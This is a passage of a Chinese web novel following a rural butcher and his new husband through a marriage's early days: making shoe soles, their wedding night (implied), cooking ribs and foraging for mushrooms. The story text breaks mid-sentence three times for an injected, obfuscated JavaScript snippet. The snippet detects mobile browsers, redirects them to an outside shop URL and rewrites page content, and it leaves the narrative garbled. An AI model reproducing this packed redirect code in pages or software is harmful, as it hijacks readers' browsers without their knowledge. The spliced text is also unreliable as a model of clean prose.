方夏有些惊慌,怕自己的脚冰到李远山,又觉得一个双儿的脚给汉子握着太让人难堪了,他局促不安地挣动了一下,却没有挣开。 “小夏,我给你暖暖。”李远山躺下后,将方夏的一双手都拉了过来。 方夏有些迟疑,可转念一想,他们都成亲了,李远山是他的汉子,自家汉子给夫郎暖暖手,也说的过去。 这么想着,方夏往李远山那边挪了挪身子。 李远山将自己被子掀开一个角,道:“脚也过来。” 许是热乎乎的手蛊惑了他,让方夏心里没那么多羞赧,又或许是想要讨好夫君的心思占了上风,他把两个脚丫都伸到李远山被窝里。 冰凉的脚贴在李远山小腿肚子上,暖意瞬间袭上头顶,方夏好像被一个大火炉围着,从前难熬的秋冬,渐渐离他远去了,只剩下暖融融的热意熏得他脑袋发胀。 李远山双腿夹住方夏的脚,还时不时翻一下,一会儿暖脚背一会儿暖脚底,不知不觉两人就睡着了。 夜已深了,月亮斜斜挂在天上,有风吹过树梢,玉河村陷入寂静的黑夜,又是一天过去了。 13. 鞋样子 秋夜寒凉,下了一整夜的雨,早上醒来时方夏整个人都被李远山抱着,今日不杀猪,不用起太早,李远山看了看埋在自己怀里睡着的夫郎,就更不愿意起了。 屋里还暗着,李远山垂眼看着方夏,忍不住抬手摸了摸人的脸,许是夜里冷,方夏不知不觉滚到了自己怀里,被子拉到嘴巴上面,只露出鼻子和眼睛。 方夏虽生的白净,可乡下苦日子过久了,脸上也有些糙,并不十分细腻。也是这些日子养的好,方夏吃胖了些,脸上摸着有肉。 李远山想起镇上的姑娘双儿常常会用些手脂面脂,待他过几日去镇上,也该给自己夫郎买些,冬日苦寒,夫郎这么白,可不能冻皴了手脸。 李远山知道方夏睫毛长,却从没离这么近看过,尤其这会儿闭着眼睛,那长长的睫毛像一把小小的刷子,在眼下覆着一层阴影,又像带着钩子,勾着他用指腹轻轻抚上去。 他觉得自己着了魔,李远山不由得咧嘴无声地笑,幸而这是自己夫郎。 正高兴着,却见方夏眼皮动了动,似要醒过来。 李远山吃了一惊,方夏还枕着他的一条胳膊,自己的手也在人脸上,此时要转身已来不及了。 想起成亲那日的情景,李远山怕方夏迷迷糊糊醒来自己再把人给吓着,情急之下慌忙捂住了自己左脸,之后就僵着手脚不敢动了。 方夏是在暖烘烘的热意里醒来的,他从小就手脚冰凉,一到深秋就很难熬,等到冬日里手脚上都是冻疮,却还要不停干活,冻疮反反复复,手背上的皴裂一道一道的,有时甚至还会流血。可今日自己睡的格外暖和,是往日从没有的舒服。 他现下都没有蜷缩着腿睡觉,被窝里很暖和,方夏伸了伸腿,却不想踢到了热乎乎硬邦邦的皮肉——是李远山的腿。 方夏猛然清醒了,昨日他喊李远山上炕来睡,自己还不知羞地拿脚丫踩着人家的小腿肚子,此时发觉自己脖子下枕着的好像也不是枕头。 方夏都不敢喘气了,这会儿感觉出来了,他睡在李远山怀里,周身都被汉子的气息包围着,他动也不敢动,更不敢抬头看,不知道李远山醒了没有。 “醒了?”李远山低沉的声音在耳边响起。 方夏僵了一下,小心翼翼仰起头,李远山一双眼睛亮亮的,不知醒了多久,只是却一手捂着自己的左脸,两人虽凑得很近,但方夏看不见他脸上的伤疤。 他一时有些发怔,见对面的人又将左半边脸往枕头里埋了埋,方夏突然明白了李远山的用意。 他怕再吓着他。 从那日自己被吓到后,李远山面对他时总会侧着脸,尽量不让他看到左半边的骇人的伤疤。 这么些天来,方夏其实早已不怕了,人心都是肉长的,更何况李远山待他好,李家人也和善,让他再也没了初时的无措和惊慌。 方夏心里不忍,伸出手拽了拽李远山肌肉紧实的胳膊:“我不怕的,你不用这样遮着。” 说罢忍不住先红了脸,李远山常常要拉他的手,可他这样毫无阻隔地去摸汉子光着的臂膀,属实是太羞人了。 “真的?”近在咫尺的声音都有些抖。 方夏点点头,更不好意思看李远山了。 李远山忽地长臂一捞,将方夏整个人搂过来紧紧拥在怀里,两个人的心跳声从彼此紧贴着的胸膛传出来,惊得方夏“啊”了一声,又慌忙用手捂住自己的嘴,若是被家里人听见可怎么好? 李远山搂得太紧,他有些喘不上气,两人又贴的极近,连喷洒在脖子上的呼吸都是热热的,方夏不由得挣扎了一下。 “别动。”李远山声音有些暗哑,满足地喟叹一声。 ------------------------------------- 吃过早饭,天还是阴沉沉的,昨日晒了老半天的菜干还在柴房架子上摆着,怕受潮发霉,方夏领着李青梅进来都翻了一遍,刚收拾好,就听见周秀娘在东屋里喊人去画鞋样子。 家里也就李达周秀娘同李远山三人不用裁新的鞋样子,其他人的趁今日闲着正好做出来。 方夏自嫁过来,只一双新婚时的布鞋穿着,没到冷的时候,前几日也就没着急做新鞋,而李云山、李晓山和李青梅都在长个头的年岁,鞋样子一年半载就得换。 屋里周秀娘烧开了小火炉,正在熬浆糊,炕上堆了一些破布头和不穿的旧衣裳,预备着一会儿糊鞋底。 糊鞋底也叫打袼褙,就是将这些布条旧衣剪成鞋样子大小,然后用浆糊一层一层往上粘,这样做出来的鞋子也称“千层底”。 方夏揽过了描鞋样子的活,他自己的好画,不一会儿功夫就描好了。 “老大成亲前新做的鞋,有旧的鞋样子呢,不用给他描了,只把这几个小的鞋样子剪出来就成。”周秀娘边搅合着小锅里的浆糊,边叮嘱道。 招呼着弟弟妹妹几个都坐在炕上画鞋样子,方夏心细,这些都是做惯了的活计,并不费功夫。 正给二弟描鞋样子时,李远山推门进来了,他刚才去给牛添水和草料,见一家人都在正房炕上,忙完便也过来坐一坐。 “大哥你看,我也做新鞋子了!夏哥哥给做呢。”李云山得意地晃晃脚。 李远山低头瞅一眼夫郎,没说话。 方夏抬头冲着李远山抿嘴一笑,拿起小剪刀自去剪鞋样子了。 炕上坐的人多,李远山也没在往上挤,他盯着自家夫郎给弟妹剪鞋样子的手,眼睛眯了眯,道:“我去后院挑明日宰的猪。”说罢又走出去了。 “青梅来搭把手,看着点浆糊,娘去耳房拿鞋样子。”周秀娘直起腰来叫人。 李青梅穿鞋下地,答应着:“哎!” 浆糊咕咚咕咚在炉子上冒着泡,方夏剪好几人的鞋样子也没闲着,将炕上的破旧布头衣裳一一铺展压平,线头多的地方剪开。 乡下做鞋子不比城里,一双鞋都是用的旧布头,只表面一层用新布缝上即可,这也是富裕些的人家,有些穷苦的连这样一双布鞋都没有,往往是用草绳编上一双鞋就能穿,更甚者,有些人家草鞋都没有,光着脚做活计的多了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292669|198528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去了。 好一会儿功夫,周秀娘拿着几个鞋样子回来了,边走边嘀咕:“真是奇了怪了,明明都在一处放着,怎地找不见了?” “娘,啥找不见了?”方夏边剪布条边问。 打袼褙需将这些旧衣裳剪成一块块的,然后在木板上刷一层浆糊,铺一层旧布片,待糊上这么四五层就差不多了,袼褙打好后还要用石头压好,拿出去晾晒干。 晒好后就能依着鞋样子剪出不同的鞋底和鞋帮子,就能缝制鞋子了。 周秀娘疑惑道:“老大的鞋样子找不见了,人老了啊真是记性差了,明明记得家里鞋样子都放在一处,唉!” “我一会儿等他进来,再给他描一副。”方夏道。 “也是真怪,你们成亲前娘还给他做了新鞋呢,也没多久啊,家里人鞋样子都在,就独独少了他的!” 方夏穿好鞋,下地将小炉子上的浆糊端下来,回道:“许是掉了吧?” “许是黄鼠狼偷了去?”李青梅嘻嘻笑着说。 “谁家黄鼠狼只偷个鞋样子?”周秀娘拍了闺女一下,也笑了,把拿来的鞋样子放在炕上,回头对着方夏说,“也不急着剪,老大鞋新做的,待过几日做棉鞋时再剪也不迟。” 堂屋门哐当一声开了,李远山大步流星走进来,他素来沉稳,少有这样的时候,一家人都回头看他,不知这是怎么了。 李远山稳了稳心神,开口仍旧是不疾不徐的样子:“今日描吧,待会儿把一家人的鞋样子放在一处收好,就丢不了了。” 方夏不疑有他,见东屋炕上坐不下,便道:“那行,回西屋吧,我这就过去给你画。” 李远山长腿一迈,几步走回他们自己屋子,自发自觉拖鞋上了炕,方夏从炕上的针线笸箩里拿了麻布和炭笔跟着也过去了。 西屋炕上李远山已脱了鞋等着了,方夏过去后没上炕,只低着头上半身趴在炕边道:“脚过来些,踩着麻布。” 李远山依言照做,待方夏低着头给他描画鞋样子时,正好露出一截白生生的脖子。 李远山的呼吸瞬间变得又急又重,他甚至听见了自己的心跳声,扑通扑通一声接着一声,越来越快也越来越大。 方夏画好一只脚后,接着用手指量了量李远山的脚板,正预备喊人换另一只脚来,仰头就看见李远山正一瞬不瞬看着他,黑沉沉的眼睛里好像蕴着一团火,光盯着他就能烧起来。 “你换一只脚。”眨了眨眼,方夏低声道。 见李远山没理他,方夏又轻轻拍了下人的裤管,李远山这才挪开踩着麻布的脚,又将另外一只踩了上去。 “量好了。” 屋里弥散着异样的气息,李远山僵硬地坐在炕上,既想让方夏快点画好鞋样子出去,好让他能喘口气,又恨不得自己多长几只脚出来,他甚至想说一句:没量好,再量一下吧。 被盯着有些难为情,方夏描好鞋样子就出去了,独留李远山一人在炕上坐着。 好一会儿功夫,李远山才穿鞋下地,他觉得他就快要忍不住了。 14. 圆房 晌午饭后,太阳出来了,趁着有太阳,方夏将放在柴房的菜干菜条端出来晒。 李远山也出门去了,家里养的十来头猪半大不小,还没到能宰的日子,没有毛猪了,他就去隔壁几个村子转转,看看谁家有预备出栏的猪。 这几个村子的养猪户他都熟,李家收毛猪价格给的公道,只要是养猪的都愿意卖给他们家。 把竹匾在院子的空地放好,再在上面搭是一层纱布,方夏又回屋里去抹袼褙了。 李家人多,做的鞋也多,李青梅坐在小火炉旁边帮忙看着火,浆糊一直得温着,太干太硬都不好用。 一下午的功夫,方夏和周秀娘坐在炕上,粘了好几板袼褙。 这样的活计虽简单,却是极其考验耐心的,打袼褙的木板要平整,抹上去的浆糊也要均匀,不能有没搅合匀的疙瘩,粘上去的布片更好整齐,这样做出来的袼褙才坚实耐用,不至于松松散散没几日就坏了。 眼看着没什么活,方夏就回自己屋里去缝荷包了。 他自己的简单,前几日就缝好了,里面装了上次得的一百枚铜板,压在炕席底下,不过来李家这些日子,家里吃穿都不用他花钱,至今这些铜板还没花用。 现在手里缝的是要给李远山的荷包,前几日看他正在用的那个荷包有些磨坏了,方夏就想着缝一个荷包给他。 这个荷包没少花功夫,上面绣的纹样自己不常做,如此便耗费了一番功夫和时间,不过今日就能绣完了,等李远山晚间回来就给他。 荷包缝好了,方夏抬起手捏捏有些酸疼的脖子,活动了下略有些僵硬的胳膊,趴在窗台朝外看。 不知道什么时候天又阴沉下来,灰黑色的浓云压下来,一阵风刮起零零散散的叶子卷上天空,院子里起了尘土,又要下雨了。 方夏急忙穿鞋下地,院子里还晒着菜干菜条呢,可不能淋了雨,得赶紧收回来。 一出门正好看见周秀娘和李青梅在院子里收东西,方夏脚步匆匆过去,道:“娘,怎地没叫我?” “看你在炕上缝东西呢,再说这点活儿也没多少,娘和青梅一会儿就收完了。”周秀娘回道。 待菜干菜条都收进柴房里,几人小跑着回堂屋,刚进屋门雨点就下来了,噼噼啪啪打在泥地里,飞溅起无数土星子,带着空气里弥散起一股子土腥味。 “爹和哥哥他们还没回来呢。”李青梅着急地说。 周秀娘甩甩袖子拍拍衣摆,跟着道:“他们又不是傻的,眼看着要下雨肯定早就在路上了,若是一时半会跑回不来,还不会找个地方避避雨?” 正说着话,院门就被推开了,李达领着两个小儿子跑了进来,他先让李云山李晓山两人进屋里,自己去柴房放锄头和草筐。 不一会儿功夫,伴着轰隆隆的雷声,雨下大了,呼啦啦的雨滴击打着屋顶,瞬间就有小河似的雨水顺着瓦片流下来。 见雨下的这么大,周秀娘撵着众人都回屋了,一家子光站在堂屋也没啥事,不如回屋里去歇着,李家兄弟俩衣裳有些淋湿了,他俩先回东屋去换衣服了。 方夏朝着屋外望了望,雨势太大,天地间已是雾蒙蒙的一片,什么都看不清楚了。 他有些着急,不知道李远山走到哪里了,也不晓得被淋湿了没有,雨这么大,路上定是不好走的,可千万别摔了。 方夏在屋里来回转了几圈,心里不踏实,想出去寻一寻,却不知道如何走,只好坐在炕上不住往外看。 约莫过了小半个时辰后,雨渐渐小了,雨中一道高大的身影走回来了,方夏急忙下地,从堂屋拿起一把油纸伞撑着迎了出去。 正待要出去的李老爹笑得满脸褶子,回头道:“老婆子你看,这用我出去?你还催。” “不用你就不操心儿子了?”说着白了一眼自家老头子,顺手接过他手里的斗笠,“你歇着吧,正好我去灶房给孩子们熬点姜汤去。” 李远山今日去隔壁村的王大爷家收猪,原本已经付了钱挑好了猪,却不想雨来得太急耽误了事。 他本想等雨停了再走,可这雨偏偏越来越大,没办法他只好等雨势小些了再来,嘱咐好王大爷今日不要再喂食,等他明日天晴了早上再来拉毛猪。 王大爷一家养猪多年,价格公道,人也实诚,他们已打交道多年,也不担心被糊弄,临走时还把家里的斗笠蓑衣借给李远山。 回来时,路上泥泞不好走,李远山裤腿上都是溅上去的泥巴,他深一脚浅一脚走着,待走过村中的状元桥后就看见淅淅沥沥的雨中有一人撑着伞朝着他跑过来了。 李远山心跳加速,迈开长腿也跑起来,转眼间已来到方夏身边:“这么大的雨怎地出来了?” 方夏踮起脚举着伞朝身侧人那边斜了斜:“看着你回来了,给你送伞。” “雨大,下次不必出来了,当心淋雨着了风寒。”李远山一手接过伞,一手将头上的斗笠取下扣到方夏头上,尽力不让雨滴落到人身上,接着抬起胳膊环上了方夏的肩膀,连带着声音都不自觉温柔了些,“你看我穿着蓑衣呢,不妨事。” “没事的。”方夏摇摇头,两人依偎着匆匆走进家门。 “远山先去把衣服换换,一会儿同你夫郎来喝一碗姜汤。”灶房里的周秀娘见两人回来,冲着他们喊。 李远山护着方夏进屋,将伞甩了甩,又立马脱下身上的蓑衣,高声应道:“哎!知道了,娘。” 方夏正背对着李远山给他从柜子里拿衣服,前几日他就将两人的衣裳、不用的厚被子和上次赶集买的两匹布收起来了,放在柜子里整整齐齐的。 转身正要将干净衣服递过去,入目就是一片光滑流畅的古铜色肌肤,李远山整个背部的肌肉紧实,线条流畅,抬起胳膊的瞬间两边肩胛骨像隆起的山峰,充满力量。 伸手接过李远山湿漉漉的衣服放到地上的洗衣盆,方夏顶着红彤彤的耳朵出去了。 晚饭是吃的手擀面,又用鸡蛋做了浇头,一家人热乎乎吃的舒爽。 今日凡是淋了些雨的,周秀娘都给舀了一碗姜汤喝,原本小儿子还不乐意喝,让她硬是掰着下巴灌了一碗下去。 乡下人家穷苦,平日里最怕的就是有个小病小灾的,哪怕像他们这样相对富足的人家,也经不起家里有个病人折腾。 吃过晚饭,天彻底黑下来了,周秀娘烧了两大锅水,今日下雨天冷,让家里人都热热的洗洗,既暖和驱寒,身上也爽利。 他们家向来干净,隔几日就要好好洗涮一番,虽然家里是杀猪的,但里里外外收拾的干净些,来买猪肉的主顾也就多了。 李远山将浴桶搬进屋里时,方夏正拿着小扫帚扫炕,他紧紧盯着炕上的人,尽量让自己不显得那么急躁:“小夏,你先洗。” “水够么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292670|198528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “够,今日出门前水缸我都灌满了。” 方夏也没推脱,这些日子他擦洗的勤快,身上并不多脏,这会儿赶紧洗好换李远山来。 头发擦干净后,他正要从浴桶里出去,突然屋里门被推开了,吓得方夏一个激灵,将身体往水里又沉了沉。 看着越走越近的李远山,他都不知道该躲去哪里了,此时他可是光溜溜在浴桶里泡着呢! 李远山在堂屋里等着着实忍的辛苦,不待里面人喊,他就自己直接推门进去了,进来后又意识到不妥,这要是把夫郎吓到了可怎么好? 他摸了摸鼻子转过身去关屋门:“我不看,你出来吧。” 方夏有些慌,从浴桶里出来时差点摔到地上,他手脚并用爬上炕,赶紧把里衣穿上,穿好后才呐呐开口:“好了。” 见李远山要脱衣服,方夏急急扭头冲着墙壁,耳边听着哗啦哗啦的水声,他想李远山应是已经泡进浴桶里了,明明方才还说水够的,怎地直接就去洗了? 想到李远山用自己刚用过的水洗澡,方夏整个脸都红了,他不敢说也不敢看,只抱着双腿坐在炕上一动不动。 直到李远山低沉沙哑的嗓音传来才敢抬头。 “小夏,帮我擦擦背。” 李远山其实身上并不脏,可他不知道怎么了,就是想贴着自家夫郎,离的越近越好。 方夏拿着沾着水的布巾给擦背时,他直挺挺僵着后背动也不动,喉结狠狠滚动着,一下又一下。 洗好后,李远山去倒了脏水收了浴桶,夫郎一直闷着头坐在炕上没理他,昏黄的油灯下,两人谁也没先开口说话,李远山轻轻呼出一口热气,抬腿也上了炕。 待凑近了些,闻着夫郎身上沐浴后的香气,李远山心跳更快了,正要上前,对面的人摸索着从被褥底下拿了个东西递过来。 “这是?”李远山按捺住心里的蠢蠢欲动低声问。 方夏满脸羞涩,抬眼看着人道:“给你的。” 只见一个巴掌大小的荷包静静躺在方夏的手上,李远山定睛一看,上面竟绣着一只老鹰踩着兔子,图案鲜活漂亮,是他从没见过的精致。 “给我?”李远山一把握着方夏捧着荷包的手将人拉到怀里,眼里都是盛不下的喜悦。 脑袋撞上对面人坚实的胸膛时,方夏还没反应过来,脑门都撞疼了,他怕夫君不喜荷包的样式,正想解释一番:“这是老鹰踏兔,原是剪纸用的纹样……唔” 不等方夏说完,李远山猛然收紧搂着人的胳膊,亲了上去。 被一双有力的臂膀抱着,方夏都快喘不上气了,心里又惊又慌,想要挣扎,一双手贴在李远山的胸膛上却使不上力,汉子身高体长,将他整个人都笼住了。 “小夏……你别怕,我……我轻些。”李远山喘着粗气,断断续续说着。 急促的呼吸间方夏脑子都快被热气蒸晕了,他心里不住想,这是李远山,这是他的夫君,他们成亲了,成亲了早就该这样了,他挣着将手伸出来轻轻环上了李远山的脖颈,声音细细地开口:“夫君。” 李远山脑子里轰的一声就炸了。 窗外又开始下雨了,起初还是极细的雨点,后来越下越大,铺天盖地、密不透风,像是要将这半个月憋着的雨都一股脑泼洒到天地间。 雨下了很久很久,直至后半夜才停,而方夏也在渐渐消退的雨声中沉沉睡去。 15. 炖排骨 第二天是个大晴天,天还没亮呢,李远山早早醒了。 他侧头看了会儿怀里睡得正香的人,凑过去亲了亲方夏的脸,然后轻轻把被枕着的胳膊抽出来,慢慢挪下地去收拾了。 已有两日不曾杀猪卖肉,今日可不能惫懒,得多挣钱养夫郎呢。 李远山又看一眼炕上沉沉睡着的人,忍不住轻笑出声,他想,备不住还要养孩子呢——他和方夏的孩子,只要想一想就浑身是劲儿。 洗漱完后匆匆忙忙扒拉了口吃的,李远山就领着二弟去隔壁村拉毛猪了。 路上有些难走,兄弟俩推着板车晃晃悠悠半个时辰才回来。 幸亏王大爷家起得早,不至于扰了人,庄户人家,但凡勤快些的,都是日出而作日入而息,这样日子过得虽辛苦些却也有盼头。 板车上拉着两头猪,三百多斤的重量,李远山都没让李云山帮忙,自己一人哼哧哼哧拉着走。 他心里惦记着方夏走得很快,不知道人醒了没,昨日那样累,临出门时他借口方夏淋雨着了风寒,叮嘱了家里人莫要去喊,想着让自家夫郎多睡一会儿。 “大哥,你笑什么?这么高兴?”李云山忍不住问。 李云山忽地收了脸上笑意,咳嗽一声道:“没……没什么。” “我才不信,定是有好事,快和我说说!”李云山帮着他大哥推过一段泥泞的路后,就转过身来,肩膀挨着他哥倒退着走,眉眼间是掩不住兴奋,虽然还没长开,没他大哥身板坚实,但是等再过两年也定然也是个俊朗的好汉子。 今日本就比平时开张的晚,兄弟俩也不耽搁,一路说笑着赶紧回了家,回去后自是宰猪分肉不提。 ------------------------------------- 方夏醒来时身边早就没了人,被褥也都整整齐齐叠好了放在墙角。他一时有些恍惚,晃了晃有些发晕的脑袋,撑着胳膊预备起身,不想腰部以下酸疼的好似不是自己的了,让他没忍住又跌回被褥里。 这一下,方夏晕晕乎乎的脑袋才想起昨日夜里的事,想着想着就抬起双手捂住了脸——他和李远山圆房了。 只是他没想到,给人做夫郎这么难,若是以后李远山天天这样那样,他可怎么受得了。 正发呆间,屋门推开了,李远山端着一碗米粥并一碟酱菜走进来,前日腌的小黄瓜能吃了,今日早上捞出来些配着米粥吃,真真是脆爽可口,一家人都夸方夏的手艺好。 见李远山进来,方夏慌忙坐起身,看着窗口照进来的阳光,他心知自己这是起得晚了,急急道:“我这就起了。” 李远山将炕桌提起来放在炕上,对着方夏展颜一笑,说道:“不急,先喝点粥垫垫,今日娘捞了你腌的小黄瓜,很好吃。” 说罢将方夏扶着坐到炕桌旁,又转身拿起被子旁的衣服给人披上,见方夏愣愣看着自己,忍不住又笑着问:“自己坐着吃?还是靠着我?” “我自己吃。”回过神来,方夏满脸通红地挪到桌子旁,慢慢喝起了粥。 李远山却还没走,往自家夫郎身边凑了凑,问道:“身上可还疼?” “有点疼的。”方夏嘴里含着粥,含含糊糊回了一句。 “那下次……下次我再轻些。”李远山回想起昨日,原本他是打算慢慢来的,可夫郎又是送荷包又是凑在自己耳旁喊“夫君”,让他一时失了控,一身的蛮力都使了出来。 方夏听见他说下次,猛然抬起头,粥都顾不得喝了,只睁着一双杏眼瞪人。 察觉自己说了什么后,李远山也有些不好意思,罕见地红了脸。他凑上去贴着方夏的额头,一边摩挲着人的脸一边说:“小夏,我肯定会对你好的,昨日是我不对,你莫要恼我。” “嗯。”方夏小声应着,握着李远山的手蹭了蹭。 两人又说了会儿话,等方夏吃完,李远山收拾好碗筷炕桌才出去,出门时又叮嘱他不舒服就躺着,不必起来。 可方夏哪能就这么躺着呢,他身上虽不爽利,不能干重活,可他也不是能坐得住的人,慢慢将屋里都收拾利索后就出了门。 院子里李青梅翻着晾晒菜干子,太阳大再晒两天就差不多了。 他们家人多,冬日里没有新鲜菜吃,趁着秋天就要想办法多存些,过些日子还要拿大缸腌上两缸菘菜,等到了冬天无论是熬着吃或者包酸菜饺子,都好吃。 周秀娘弯腰正在撒菜种子,趁着现在天还没彻底冷,再种上一茬,等上一个多月就能收来吃了。见方夏过来上前来要帮忙,挥着手说:“不用你!快回屋里歇着去,病着就别出来了,小心着了风。” “娘,我没事了。” “那也歇着,这么点活儿,真不用你。”周秀娘笑着说。 方夏有些不好意思,但也没法去解释什么,便找了个小板凳坐在屋檐下晒太阳,家里人心疼他,什么活也不让干,让他心里暖呼呼的。 场院里李远山正招呼着卖肉,今日卖的快,不一会儿功夫,一大半猪肉都卖完了。 刚送走几个来买肉的村中妇人,李远山提着一大块排骨进来了,他朝着院子里的周秀娘道:“娘,这些今日不卖了,留着家里吃。” 周秀娘知道儿子心疼夫郎,便也顺着他的话说:“成!咱们也好几日没见荤腥了,今日娘给做个炖排骨。” “远山哥,来五斤排骨!” 正说着话,吴大牛领着柳满进来了:“周婶子!” “哎!过来了?”周秀娘应着,笑着招呼他们,“要什么让你远山哥去给弄。” 李远山拍拍手,指着场院的肉摊子说:“走吧,看看要哪块儿。” “刚不是说了嘛,来点排骨。”吴大牛跟在后边又说了一遍。 “排骨今日没了。” “远山哥,你这不是诓我?我刚还见你手里拎着呢。” 李远山回头看他,见人嘴角揶揄的笑意,便也跟着笑道:“家里吃。” 吴大牛勾着李远山肩膀,也不藏着了,嘻嘻笑着问:“家里吃?家里谁吃?远山哥,你不说说?” “多嘴。”李远山拍掉他的手,“要多少?” 吴大牛不贫了,指着一块肥膘厚实的肉道:“就这块吧,来五斤。” 李远山手起刀落,给他割了一块肥瘦相间的肉,又给添了两根棒骨,他们两家处的好,吴大牛过来买肉时却也一分钱不少给,李远山就看着给多添点别的。 吴大牛买好肉,就去院里喊自己夫郎回家,却见柳满和方夏两人正低着头说话。 见自家汉子进来,柳满站起来道:“那就说定了,午 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292671|198528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后我来喊你。” “嗯行。”方夏应着。 周秀娘见方夏和柳满两个小哥儿处的来,心里也是欣慰不已。 他家儿夫郎不像柳满性子活泼,嫁过来时又和娘家断了亲,记起刚成亲那几日方夏唯唯诺诺不敢言语的样子,想来没出阁前在那丧良心的赵桂花手里没少受苛待。 如今嫁到他们李家,他们家是断然不会做那黑心肠烂肚子的事。 现在能同性子爽朗的柳满处一处,说不准方夏日后也能变得开朗些,这是好事,周秀娘也乐得让他们多走动,无拘做什么也有个伴儿。 看着时间不早了,周秀娘便张罗着去灶房做饭,今日既然要炖排骨,那不妨配上稻米饭吃。 米饭精贵,这边都是旱地居多,并不种稻米,家里的米都是镇上粮铺里花钱买回来的,平日里舍不得吃,十天半个月吃上一回也是好的。 方夏跟着也进了灶房,炖排骨是大菜,从前他们家里穷,不常吃肉,他做一些家里平常吃的饭食还行,碰上这样的大菜就不敢上手了,只默默蹲在灶台下烧火。 周秀娘看出他的窘迫来,也没言语,只让人去淘米再切些葱姜就行。 排骨新鲜,因是刚宰杀不久的猪,上面还带着些血水,剁成小块后冷水下锅。周秀娘回头嘱咐烧火的方夏说要小火就好,焯水只需把锅里排骨上的白沫撇去后,排骨就又捞出来了。 此时就显出家里灶台上两口大锅的好处了,一边蒸米饭,一边炖排骨,都不耽误。 周秀娘用铲子挖了一大块猪油进锅,待油化开后扔进去一把切好的葱姜蒜,炒出香味后将排骨一股脑倒进锅中翻炒,酱油、花椒、大料陆续搁进去,又舀了几瓢水没过排骨,接下来就是炖煮了。 “这炖肉啊、炖骨头啊也没啥窍门,只要料下的足,火候掌握好了就行。”周秀娘在襜衣上擦擦手,说道,“先大火烧开,再小火慢炖,多炖一会儿,等肉能脱骨了才好吃。” 方夏点头应着,一心一意看着灶膛里的火,热气从锅盖的缝里钻出来,他吸了吸鼻子,整个灶房都弥漫着一股肉香味。 米饭蒸好了,周秀娘让掀开锅盖晾着,一会儿吃的时候不至于烫嘴,她又掀开另一边炖着排骨的锅盖,拿起筷子戳了戳,道:“还得一会儿,再煮煮。”说罢又弯腰往灶膛里添了几根柴。 浓郁的肉香味引得家里几个小的时不时跑进来看看,惹得周秀娘和方夏都忍不住笑,看来都是馋肉了。今日排骨炖的多,定然是够一家人饱饱吃上一顿的。 约莫一个时辰,排骨炖好了。 酱红色的排骨盛出来,放了两个大陶盆,一家人围在桌前谁也顾不上说话,都忙着啃骨头。 肉炖的极软烂,用筷子夹着送到嘴边,轻轻一拨一抿就从骨头上脱下来了,待吃了肉,骨头中间的骨髓也要使劲吸一吸。 排骨吃的差不多了,白米饭浇上油亮亮的汤汁,香得人直咽口水。 见方夏吃得香,盆里最后几块排骨,李远山手快都夹给了他,家里人没说什么,只看着两人笑,把方夏闹了个大红脸。 一顿饭吃得众人心满意足,待啃完骨头谁都不想动了,周秀娘开口道:“放着吧,都去歇一歇,起来再收拾也不迟。” 众人都应好,和爹娘招呼一声都各自回屋去了。 16. 采蘑菇 这两天下雨,林子里有些积水的地方还没干透,但也不至于太过泥泞走不了路。 今日太阳毒,方才从村里小路走过来时,也没个遮蔽的,晒的人脸上火辣辣的热,幸亏林子里枝叶繁茂,这会儿倒是凉快了。 方夏和柳满两人结伴走在前面,李远山和吴大牛拎着柴刀麻绳跟在后边。原本柳满和方夏说好了午后喊他来林子里采蘑菇,吃过晌午饭歇息时方夏同李远山一说,李远山便约着吴大牛一起来了。 “小夏,你走慢些。”李远山在后边喊。 吴大牛在他身边正抛着石头玩,回头就笑嘻嘻道:“怎么?还怕我家柳满把你家夫郎卖了不成?” 李远山顿了顿,只低声道:“他昨日淋了些雨,再说这林子他也不熟,怕他滑倒。” 两人正说着,前面传来柳满的一声惊呼:“好多地皮菜!” 扒开一处草丛,只见一大片一大片灰绿色的地皮菜散落在地上,这东西稀罕,只有在雨后才能找到,新鲜的地皮菜可以和鸡蛋炒来吃,也可以做汤,若是吃不完还能晒干了留着冬天吃。 方夏和柳满都很高兴,两人赶紧蹲下来捡拾,也是今日运气好,这一片还不曾有村里的人来过,不然早就拾没了。 “你们在此处别走远,我和大牛去那边砍柴。”李远山过来叮嘱道。 方夏抬头应了一声,就赶忙回头去接着拾地皮菜了,这么一大片,可得好一会儿才能捡完啊。 他和柳满两个都是手脚利索的人,看着竹筐底浅浅一层地皮菜,两人都忍不住笑。 背起竹筐,两人又往前走了一段,林子里树木高大,柳满也不敢带着方夏走太远,只要耳边一直能听见李远山和吴大牛他们砍柴的声音就不会迷路。 